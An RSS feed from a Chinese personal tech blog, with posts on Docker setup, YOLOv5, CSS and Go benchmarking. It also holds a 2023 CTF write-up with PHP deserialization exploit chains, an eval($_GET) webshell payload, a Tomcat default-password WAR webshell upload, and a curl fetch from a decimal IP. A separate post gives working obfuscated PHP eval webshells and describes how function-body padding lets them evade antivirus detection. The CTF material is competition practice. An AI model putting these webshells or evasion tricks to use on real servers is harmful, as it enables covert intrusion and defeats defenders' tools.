<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
>
<channel>
<title><![CDATA[指尖上的旋律 - Aman]]></title> 
<atom:link href="https://www.194nb.com/rss.php" rel="self" type="application/rss+xml" />
<description><![CDATA[一曲肝肠断，天涯何处觅知音...]]></description>
<link>https://www.194nb.com/</link>
<language>zh-cn</language>
<generator>emlog</generator>

<item>
    <title>Firefox 隐藏滚动条且仍能滚动的设置方式</title>
    <link>https://www.194nb.com/?post=22</link>
    <description><![CDATA[<p>前端适配是最恶心的事。<br />
想要实现隐藏滚动条但仍然可以滚动的样式使用一下代码</p>
<pre><code class="language-css">.rank-list]::-webkit-scrollbar {
    display: none;
}</code></pre>
<p>但是此方法并不支持火狐,火狐用一下方式可以实现</p>
<pre><code class="language-css">.rank-list {
            scrollbar-color: transparent transparent;
        }</code></pre>]]></description>
    <pubDate>Tue, 15 Aug 2023 11:38:27 +0800</pubDate>
    <dc:creator>Aman</dc:creator>
    <guid>https://www.194nb.com/?post=22</guid>
</item>
<item>
    <title>网信杯2023 WP</title>
    <link>https://www.194nb.com/?post=21</link>
    <description><![CDATA[<h2>签到题</h2>
<p>16进制转字符串<br />
<img src="https://www.194nb.com/content/uploadfile/202307/b6c31688952599.png" alt="" /></p>
<h2>职业选手</h2>
<p><img src="https://www.194nb.com/content/uploadfile/202307/71421688952725.png" alt="" /></p>
<p><img src="https://www.194nb.com/content/uploadfile/202307/05261688952738.png" alt="" /></p>
<p>解码</p>
<p><img src="https://www.194nb.com/content/uploadfile/202307/1ed01688952755.png" alt="" /></p>
<p><img src="https://www.194nb.com/content/uploadfile/202307/95101688952763.png" alt="" /></p>
<p><img src="https://www.194nb.com/content/uploadfile/202307/560d1688952770.png" alt="" /></p>
<p><img src="https://www.194nb.com/content/uploadfile/202307/1e1b1688952830.png" alt="" /></p>
<p><img src="https://www.194nb.com/content/uploadfile/202307/914f1688952840.png" alt="" /></p>
<h2>happynewyear</h2>
<p><img src="https://www.194nb.com/content/uploadfile/202307/4d7c1688952924.png" alt="" /></p>
<h2>Littile</h2>
<p><img src="https://www.194nb.com/content/uploadfile/202307/124d1688952962.png" alt="" /></p>
<h2>Cardshop</h2>
<pre><code>双注入 sqlite+flask</code></pre>
<p><img src="https://www.194nb.com/content/uploadfile/202307/72da1688952980.png" alt="" /></p>
<p><img src="https://www.194nb.com/content/uploadfile/202307/796f1688952991.png" alt="" /></p>
<p><img src="https://www.194nb.com/content/uploadfile/202307/2d091688953000.png" alt="" /></p>
<h2>四四方方</h2>
<pre><code>下载压缩包sce.zip
formost分离得到sleep.png</code></pre>
<p><img src="https://www.194nb.com/content/uploadfile/202307/0d481688953158.png" alt="" /></p>
<p><img src="https://www.194nb.com/content/uploadfile/202307/8a331688953166.png" alt="" /></p>
<pre><code>将分离出的ascii从上到下排序得到flag</code></pre>
<h3>web-helloworld：</h3>
<pre><code>扫描网站知道index.jsp
猜测可以访问/manager/html
访问，测试密码tomcat - tomcat可以登录
上传包含webshell的war包即可getshell
然后cat /flag.txt即可。</code></pre>
<h3>web-pop:</h3>
<p>略显复杂的反序列化，链子如下：<br />
主要是引用变量变相的绕过wakeup +  curl ip十进制把&quot;/flag*&quot;存到a文件中，然后使用 tac $(tac a) 绕过命令执行过滤</p>
<pre><code>O:5:"start":1:{s:11:"%00start%00code";O:5:"hello":1:{s:7:"message";O:5:"world":2:{s:6:"bridge";O:5:"world":2:{s:6:"bridge";N;s:5:"dream";O:+4:"hack":1:{s:6:"weapon";s:11:"%0acat /flag*";}}s:5:"dream";O:4:"hack":1:{s:6:"weapon";s:11:"%0acat /flag*";}}}}</code></pre>
<p>exp如下：</p>
<pre><code class="language-php">&lt;?php

class hello {
    public $message;
}

class world {

    public $bridge;
    public $dream;

    public function __construct($a){
        $this-&gt;bridge = $a;
        $this-&gt;dream = new hack();
    }

    public function __toString()
    {
        $this-&gt;bridge-&gt;last();
        return "Good CTFer！&lt;/br&gt;";
    }

    public function last() {
        //"准备好武器了吗？&lt;/br&gt;";
        ($this-&gt;dream)();
    }

}

class hack {

    public $weapon;
    public $refer;
    public $ence;

    public function __construct(){
        $this-&gt;weapon = &amp;$this-&gt;refer;
        $this-&gt;ence = "tac $(tac a)";
        #$this-&gt;ence = "curl 2718853988 -o a";

        #$this-&gt;ence = "en\\v".str_repeat("a", 1000000); /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    }

}

class start {

    private $code;
    public function __construct($c){
        $this-&gt;code = $c;
    }

}

#var_dump(new start());
#urlencode
$hack = new hack();

$a = new world($hack);
$hello = new hello();
$hello-&gt;message = new world($a);
$start = new start($hello);
var_dump($start);

$r = urlencode(serialize($start));
$r = str_replace("refer","refer",$r);
echo urldecode($r) ;
echo "\n";
echo "\n";
echo $r ;</code></pre>
<h2>web-ezpop</h2>
<p>简单的反序列化，直接构造链子</p>
<pre><code class="language-php">&lt;?php
error_reporting(0);
class AAA {
    private $cmd;
    public function __construct($b)
    {
        $this-&gt;cmd=$b;
    }
}

class BBB {
    protected $name;
    public function __construct($a)
    {
       $this -&gt; name = $a;
    }
}

class EEE {
    public $var;

    public function __construct($a){
        $this-&gt;var = $a;
    }

}
$a2 = new AAA("cat /flag*");
$e = new EEE($a2);
$b = new BBB($e);
$a = new AAA($b);
echo urlencode(serialize($a));

pop=O%3A3%3A%22AAA%22%3A1%3A%7Bs%3A8%3A%22%00AAA%00cmd%22%3BO%3A3%3A%22BBB%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A3%3A%22EEE%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A3%3A%22AAA%22%3A1%3A%7Bs%3A8%3A%22%00AAA%00cmd%22%3Bs%3A10%3A%22cat+%2Fflag%2A%22%3B%7D%7D%7D%7D
</code></pre>
<h2>web-babycode:</h2>
<p>思路如下：</p>
<ol>
<li>根据相应头里的Date获取当前时间</li>
<li>利用strlen调用__toString 写入webshell</li>
<li>替换敏感字符</li>
<li>读取/.ffffllllaaaagggg</li>
</ol>
<p>exp如下：</p>
<pre><code class="language-php">&lt;?php
class CanYouHackMe{
    const hackstr = "&lt;?php exit('noooooooo');?&gt;";
    public $code="EVAL&lt;?php eval(\$_GET[0]);?&gt;";

    public function __toString()
    {
        $this-&gt;code = self::hackstr.$this-&gt;code;
        $this-&gt;fileWrite($this-&gt;code);
        return "";
    }
}

class isfile
{
    public $filepath = "./index.php";
    public $A="ex";
    public $B="ec";
     public function __construct()
    {
        $t = "Thu, 06 Jul 2023 08:17:22 GMT";
        $tt = strtotime($t);
        $path = "./files/".md5($tt)."/".base64_encode($tt).".php";
        echo $path;
        $this-&gt;filepath = $path;
        #$this-&gt;B = new CanYouHackMe();
    }
}

$a = new isfile();
echo (base64_encode(serialize($a)));</code></pre>]]></description>
    <pubDate>Mon, 10 Jul 2023 09:24:31 +0800</pubDate>
    <dc:creator>Aman</dc:creator>
    <guid>https://www.194nb.com/?post=21</guid>
</item>
<item>
    <title>开启docker remote api 并添加证书</title>
    <link>https://www.194nb.com/?post=20</link>
    <description><![CDATA[<p>配置证书（网上找到一个好用的脚本，直接梭哈）</p>
<pre><code class="language-shell">#!/bin/sh

export PASSWORD="123123"
export COUNTRY="CN"
export STATE="xxx"
export CITY="xxx"
export ORGANIZATION="xxx"
export ORGANIZATIONAL_UNIT="bugku"
export COMMON_NAME="aman.docker"
export EMAIL="61898864@qq.com"

export HOST_NAME="$COMMON_NAME"
export IP="x.x.x.x"

export DIR="/etc/docker"
cd $DIR

# Generate CA

openssl genrsa -aes256 -passout "pass:$PASSWORD" -out "$DIR/ca-key.pem" 4096

openssl req -new -x509 -days 3650 -key "$DIR/ca-key.pem" -sha256 -out "$DIR/ca.pem" -passin "pass:$PASSWORD" -subj "/C=$COUNTRY/ST=$STATE/L=$CITY/O=$ORGANIZATION/OU=$ORGANIZATIONAL_UNIT/CN=$COMMON_NAME/emailAddress=$EMAIL"

# Generate Server Certs

openssl genrsa -out "$DIR/server-key.pem" 4096

openssl req -subj "/CN=$HOST_NAME" -sha256 -new -key "$DIR/server-key.pem" -out $DIR/server.csr

echo "subjectAltName = DNS:$HOST_NAME,IP:$IP,IP:0.0.0.0" &gt; $DIR/server.cnf
echo "extendedKeyUsage = serverAuth" &gt;&gt; $DIR/server.cnf

openssl x509 -req -days 3650 -sha256 -in $DIR/server.csr -passin "pass:$PASSWORD" -CA "$DIR/ca.pem" -CAkey "$DIR/ca-key.pem" -CAcreateserial -out "$DIR/server-cert.pem" -extfile $DIR/server.cnf

# Generate Client Certs

openssl genrsa -out "$DIR/client-key.pem" 4096

openssl req -subj '/CN=client' -new -key "$DIR/client-key.pem" -out $DIR/client.csr

echo "extendedKeyUsage = clientAuth" &gt; $DIR/client.cnf

openssl x509 -req -days 3650 -sha256 -in $DIR/client.csr -passin "pass:$PASSWORD" -CA "$DIR/ca.pem" -CAkey "$DIR/ca-key.pem" -CAcreateserial -out "$DIR/client-cert.pem" -extfile $DIR/client.cnf

# Modify Certs Permission

chmod 0400 $DIR/*-key.pem
chmod 0444 $DIR/ca.pem $DIR/*-cert.pem

# Remove Temporary Files

rm -f $DIR/*.csr $DIR/*.cnf</code></pre>
<p>修改Docker配置文件</p>
<pre><code>#找到/lib/systemd/system/docker.service中的这一行，改为
ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
#后面加上如下参数
ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --tlsverify \
    --tlscacert=/etc/docker/ca.pem \
    --tlscert=/etc/docker/server-cert.pem \
    --tlskey=/etc/docker/server-key.pem \
    -H tcp://0.0.0.0:2376
</code></pre>
<p>重启Doker</p>
<pre><code class="language-shell">systemctl daemon-reload &amp;&amp; systemctl restart docker</code></pre>
<p>验证</p>
<pre><code class="language-shell">docker --tlsverify --tlscacert=/etc/docker/ca.pem  --tlscert=/etc/docker/client-cert.pem --tlskey=/etc/docker/client-key.pem  -H x.x.x.x:2376 version</code></pre>]]></description>
    <pubDate>Wed, 07 Jun 2023 15:05:25 +0800</pubDate>
    <dc:creator>Aman</dc:creator>
    <guid>https://www.194nb.com/?post=20</guid>
</item>
<item>
    <title>CentOS7 安装docker</title>
    <link>https://www.194nb.com/?post=19</link>
    <description><![CDATA[<p>安装gcc</p>
<pre><code>yum -y install gcc
yum -y install gcc-c++</code></pre>
<p>卸载旧版（没有可忽略）</p>
<pre><code>yum remove docker \
    docker-client \
     docker-client-latest \
    docker-common \
    docker-latest \
    docker-latest-logrotate \
    docker-logrotate \
    docker-selinux \
    docker-engine-selinux \
    docker-engine \
    docker-ce</code></pre>
<p>安装软件包</p>
<pre><code>yum install -y yum-utils</code></pre>
<p>设置镜像仓库</p>
<pre><code>yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo</code></pre>
<p>更新软件包索引</p>
<pre><code>yum makecache fast</code></pre>
<p>安装docker</p>
<pre><code>yum -y install docker-ce docker-ce-cli containerd.io</code></pre>
<p>启动docker</p>
<pre><code>systemctl start docker</code></pre>
<p>加入开机启动</p>
<pre><code>systemctl enable docker</code></pre>]]></description>
    <pubDate>Wed, 07 Jun 2023 14:58:22 +0800</pubDate>
    <dc:creator>Aman</dc:creator>
    <guid>https://www.194nb.com/?post=19</guid>
</item>
<item>
    <title>golang+tensorflow 实现图片鉴黄</title>
    <link>https://www.194nb.com/?post=18</link>
    <description><![CDATA[<p>吐槽：突然有点理解宝马（我高中朋友）和唐马儒为什么会说出那样的话了。<br />
<img src="https://www.194nb.com/content/uploadfile/202305/12871682912256.png" alt="" /></p>
<p>正文开始：<br />
站在巨人的肩膀上，没啥技术可言。<br />
主要是给想用golang+tensorflow的伙计们说一声，windows环境下就不要想着用golang跑了，反正我搞了两天没搞出来。</p>
<p>我最终解决方案还是 python训练，模型保存下来 给go调用。<br />
而且linux+go+tensorflow。<br />
打包成docker，目录映射其实开发起来也挺方便</p>
<p>成果如下（第一个中括号是概率）：<br />
<img src="https://www.194nb.com/content/uploadfile/202305/8eac1682911714.png" alt="" /></p>
<p>数据集来源：<a href="https://github.com/alex000kim/nsfw_data_scraper">https://github.com/alex000kim/nsfw_data_scraper</a><br />
或者github自己找</p>]]></description>
    <pubDate>Mon, 01 May 2023 11:19:59 +0800</pubDate>
    <dc:creator>Aman</dc:creator>
    <guid>https://www.194nb.com/?post=18</guid>
</item>
<item>
    <title>免杀webshell过程中遇到的一些骚操作。</title>
    <link>https://www.194nb.com/?post=17</link>
    <description><![CDATA[<p>有时候发现安全防护软件真的挺奇葩的。<br />
之前写过一个免杀webshell,用的是assert，但php高版本已经不支持了。<br />
所以打算写个基于eval的webshell。<br />
由于不能用$$a 这种变量绕过。所以只能直接和杀毒软件硬刚eval。</p>
<p>eval(base64_decode(...));<br />
这种格式已经用烂了。只要检测这种函数组合必报毒。</p>
<p>所以打算用eval(diy_fun(...));的形式绕过</p>
<p>写的过程中发现一个很奇怪的设定<br />
举个例子<br />
这种就报毒</p>
<pre><code class="language-php">&lt;?php
function base64decrypt($str_s)
{
    return ($str_s);
}

$s = "6aman" ^ "i1\"2:";
$a = ${$s}[a];
eval(base64decrypt($a))
?&gt;
</code></pre>
<p>然后下面这种就不报毒。</p>
<pre><code class="language-php">&lt;?php
function base64decrypt($str_s)
{
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");

    return ($str_s);
}

$s = "6aman" ^ "i1\"2:";
$a = ${$s}[a];
eval(base64decrypt($a))
?&gt;</code></pre>
<p>我本地测试了好多次，发现确实与函数中代码多少有关系。<br />
然后继续测试是行数问题还是字符串数量</p>
<p>下面这个不报毒</p>
<pre><code class="language-php">&lt;?php
function base64decrypt($str_s)
{
    $str_s = str_replace("1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111", "", "");
    return ($str_s);
}

$s = "6aman" ^ "i1\"2:";
$a = ${$s}[a];
eval(base64decrypt($a))
?&gt;</code></pre>
<p>不过问题不是这么简单,不仅仅是函数内容的数量。</p>
<p>比如我把变量$str_s 改成$a。就要在str_replace中的“1111...”的字符串中加上相应的数量。<br />
后来发现该函数名的长短也会受到影响。<br />
这个数量大概实在410 左右。</p>]]></description>
    <pubDate>Sat, 18 Mar 2023 20:17:51 +0800</pubDate>
    <dc:creator>Aman</dc:creator>
    <guid>https://www.194nb.com/?post=17</guid>
</item>
<item>
    <title>ChatGPT真的智能吗？</title>
    <link>https://www.194nb.com/?post=16</link>
    <description><![CDATA[<p>chatgpt很火，我算是最早接触的一类人。上手后发现真的很智能。<br />
直到我女朋友说让chatgpt帮她起个昵称<br />
<a href="https://www.194nb.com/content/uploadfile/202303/81961678801147.png"><img src="https://www.194nb.com/content/uploadfile/202303/81961678801147.png" alt="" /></a></p>
<p>这聊天妥妥的人工智障啊。</p>]]></description>
    <pubDate>Tue, 14 Mar 2023 21:15:30 +0800</pubDate>
    <dc:creator>Aman</dc:creator>
    <guid>https://www.194nb.com/?post=16</guid>
</item>
<item>
    <title>【十年脑血栓系列】负数转正数 abs和0- （负数）谁的效率更高</title>
    <link>https://www.194nb.com/?post=15</link>
    <description><![CDATA[<blockquote>
<p>本人处女座，写代码极其恶心，不是恶心别人，而是恶心自己。不知道啥时候脑子就抽了，有些没有意义的问题非要弄个明白，好多次都睡下了，凌晨两三点突然想到某个问题，然后起床开电脑，测试。属实给我恶心坏了。he tui ~</p>
</blockquote>
<p>就在刚在，用golang写brainfuck加解密的时候，脑子抽了一下。<br />
就因为在取绝对值时产生了一个恶心的想法：</p>
<h3>问下面两种写法哪种更好，运算效率更快：</h3>
<p>1、b=math.Abs(float64(diff))<br />
2、b=0-diff</p>
<p>不严谨的答案：都一样<br />
严禁的答案：没有（自己测）</p>
<p>测试脚本</p>
<pre><code class="language-go">func t() {
    start := time.Now() // 获取当前时间
    for i := -1.0; i &gt; -1000000000; i-- {
        _ = 0 - i
    }
    elapsed := time.Since(start)
    fmt.Println("t函数执行完成耗时：", elapsed)
}
func t2() {
    start := time.Now() 
    for i := -1.0; i &gt; -1000000000; i-- {
        _ = math.Abs(i)
    }
    elapsed := time.Since(start)
    fmt.Println("t2函数执行完成耗时：", elapsed)
}
//t函数执行完成耗时： 956.5709ms
//t2函数执行完成耗时： 952.8599ms

//t函数执行完成耗时： 953.1113ms
//t2函数执行完成耗时： 959.0932ms

//t2函数执行完成耗时： 952.184ms
//t函数执行完成耗时： 950.48ms

//t2函数执行完成耗时： 951.7409ms
//t函数执行完成耗时： 950.9821ms

...
...</code></pre>
<p>测了多次 耗时互有高低，但差别都不大<br />
然后安心的用0-diff写法（原因就是书写效率高），继续耕耘，美美哒~</p>]]></description>
    <pubDate>Mon, 05 Dec 2022 21:54:10 +0800</pubDate>
    <dc:creator>Aman</dc:creator>
    <guid>https://www.194nb.com/?post=15</guid>
</item>
<item>
    <title>yolov5实现CTF自动解题之----字符密码</title>
    <link>https://www.194nb.com/?post=14</link>
    <description><![CDATA[<p>最近学习了go语言。<br />
打算开发个ctf自动解题脚本作为golang的处女作。<br />
其中图片解密中有一个功能是自动识别图片内容并分析，如果发现类似猪圈密码、军旗、手语、埃及字符之类的可以自动识别。<br />
首先想到的是opencv的模板识别，根据百度的资料<br />
先把图片二值化然后生成一个个的模板</p>
<h3>原图</h3>
<p><img src="https://www.194nb.com/content/uploadfile/202211/15411669543560.png" alt="" /></p>
<h3>二值化</h3>
<p><img src="https://www.194nb.com/content/uploadfile/202211/f3cc1669544009.jpg" alt="" /></p>
<h3>模板（因为都删了这个是写文章时生成的案例，实际操作需要每个字符都拆分出来）</h3>
<p><img src="https://www.194nb.com/content/uploadfile/202211/79f91669544064.jpg" alt="" /></p>
<h3>识别结果</h3>
<p><img src="https://www.194nb.com/content/uploadfile/202211/0ef81669543571.png" alt="" /></p>
<p>看效果图识别效果简直完美，但是假如换了下面这张图，就GG了，模板识别的弊端看效果图 识别效果简直完美，但是假如换了下面这张图，就GG了<br />
<img src="https://www.194nb.com/content/uploadfile/202211/62bf1669544263.jpg" alt="" /></p>
<p>然后又开始用yolov5识别。<br />
按照百度安装、踩坑、爬坑、踩坑、爬坑<br />
终于能成功运行了。</p>
<h3>用之前使用opencv生成的单个元素，生成了300多张训练集。最终跑出来了</h3>
<p><img src="https://www.194nb.com/content/uploadfile/202211/bed61669544593.png" alt="" /><br />
<img src="https://www.194nb.com/content/uploadfile/202211/4ec51669544901.png" alt="" /></p>
<h3>识别效果如下</h3>
<p><img src="https://www.194nb.com/content/uploadfile/202211/4a471669544630.png" alt="" /><br />
<img src="https://www.194nb.com/content/uploadfile/202211/f3cc1669544654.jpg" alt="" /><br />
<img src="https://www.194nb.com/content/uploadfile/202211/71d51669544661.jpg" alt="" /></p>
<p>然后总结下过程中遇到的坑，希望大家或者以后自己犯错的时候能够来爬坑。<br />
坑1、</p>
<pre><code>opencv的模板识别的可变性不强，识别的图片必须是被识别图片中的一部分。</code></pre>
<p>坑2、生成yolov训练集的时候 标注的坐标</p>
<pre><code>0 0.125000 0.125000 0.078125 0.078125
第一个是标签ID从0开始 对应训练项目的yaml文件中的name。
第二个是标注的x坐标，注意这x坐标不是标注的左上角而是标注的中心，然后用标注的中心坐标除以图片的宽度
第三个是标注的y坐标，和x坐标一样 是标注的中心 然后除图片的高度
第四个是标注的宽度，然后除以图片宽度
第五个是标注的高度，然后除以图片的高度</code></pre>
<p><img src="https://www.194nb.com/content/uploadfile/202211/8a5f1669546029.png" alt="" /><br />
坑3、</p>
<pre><code class="language-python">#如果训练的时候发现慢检查是不是cpu在跑，我下载yolov5运行默认就是cpu
#输入库
import torch
#查看版本
print(torch.__version__)
#查看gpu是否可用 true gpu  false cpu
#修改方法自行百度，过程耗时1-2小时。需要下载安装大量数据</code></pre>
<p>坑4、</p>
<pre><code>识别的时候发现yolov会吧对称的图形识别成一个。
这是训练的时候开启了训练增强，默认是开着的，如不需要关掉</code></pre>
<p>坑5、...<br />
坑6、...<br />
坑7、...<br />
坑8、..<br />
坑9、.<br />
坑N、吃饭了，后续写（我了解我，说后续写基本上不会写了。反正搞这个玩意一直就是爬坑踩坑爬坑踩坑。 而这句话说不定也是一个隐藏的坑，说不定以后啥时候又踩了坑，回来翻博客，发下自己因为懒没写全。GG）</p>
<p>补充</p>
<h2>深渊巨坑</h2>
<p>最大的坑就是，我尼玛找的猪圈密码竟然是不标准的，我曰，我说怎么有几个字符怎么训练识别率还是不高，艹服了</p>]]></description>
    <pubDate>Sun, 27 Nov 2022 18:00:17 +0800</pubDate>
    <dc:creator>Aman</dc:creator>
    <guid>https://www.194nb.com/?post=14</guid>
</item>
<item>
    <title>YOLOV5数据增强模块参数说明</title>
    <link>https://www.194nb.com/?post=13</link>
    <description><![CDATA[<pre><code class="language-yaml"># 优化器相关
lr0: 0.01  # initial learning rate (SGD=1E-2, Adam=1E-3)  初始学习率
lrf: 0.2  # final OneCycleLR learning rate (lr0 * lrf)  余弦退火超参数
momentum: 0.937  # SGD momentum/Adam beta1  学习率动量
weight_decay: 0.0005  # optimizer weight decay 5e-4 权重衰减系数

# 预热学习相关
warmup_epochs: 3.0  # warmup epochs (fractions ok) 预热学习epoch
warmup_momentum: 0.8  # warmup initial momentum 预热学习率动量
warmup_bias_lr: 0.1  # warmup initial bias lr 预热学习率

# 不同损失函数权重，以及其他损失函数相关内容
box: 0.05  # box loss gain giou损失的系数
cls: 0.5  # cls loss gain 分类损失的系数
cls_pw: 1.0  # cls BCELoss positive_weight 分类BCELoss中正样本的权重
obj: 1.0  # obj loss gain (scale with pixels) 有无物体损失的系数
obj_pw: 1.0  # obj BCELoss positive_weight 有无物体BCELoss中正样本的权重
iou_t: 0.20  # IoU training threshold 标签与anchors的iou阈值iou training threshold

# anchor锚框
anchor_t: 4.0  # anchor-multiple threshold 标签的长h宽w/anchor的长h_a宽w_a阈值, 即h/h_a, w/w_a都要在(1/4.0, 4.0)之间
# anchors: 3  # anchors per output layer (0 to ignore)

# 数据增强相关 - 色彩转换
fl_gamma: 0.0  # focal loss gamma (efficientDet default gamma=1.5)
hsv_h: 0.015  # image HSV-Hue augmentation (fraction) 色调
hsv_s: 0.7  # image HSV-Saturation augmentation (fraction) 饱和度
hsv_v: 0.4  # image HSV-Value augmentation (fraction) 明度
# 数据增强相关：旋转、平移、扭曲等
degrees: 0.0  # image rotation (+/- deg) 旋转角度
translate: 0.1  # image translation (+/- fraction) 水平和垂直平移
scale: 0.5  # image scale (+/- gain)  缩放
shear: 0.0  # image shear (+/- deg) 剪切
perspective: 0.0  # image perspective (+/- fraction), range 0-0.001  透视变换参数
# 数据增强相关 - 翻转
flipud: 0.0  # image flip up-down (probability)  上下翻转概率
fliplr: 0.5  # image flip left-right (probability) 左右翻转概率
# 数据增强相关 - mosaic/mixup
mosaic: 1.0  # image mosaic (probability) 进行mosaic的概率(一幅图像融合四幅图像)
mixup: 0.0  # image mixup (probability) 进行mixup的概率(对两个样本-标签数据对按比例相加后生成新的样本-标签数据)</code></pre>]]></description>
    <pubDate>Sun, 27 Nov 2022 14:41:51 +0800</pubDate>
    <dc:creator>Aman</dc:creator>
    <guid>https://www.194nb.com/?post=13</guid>
</item>
</channel>
</rss>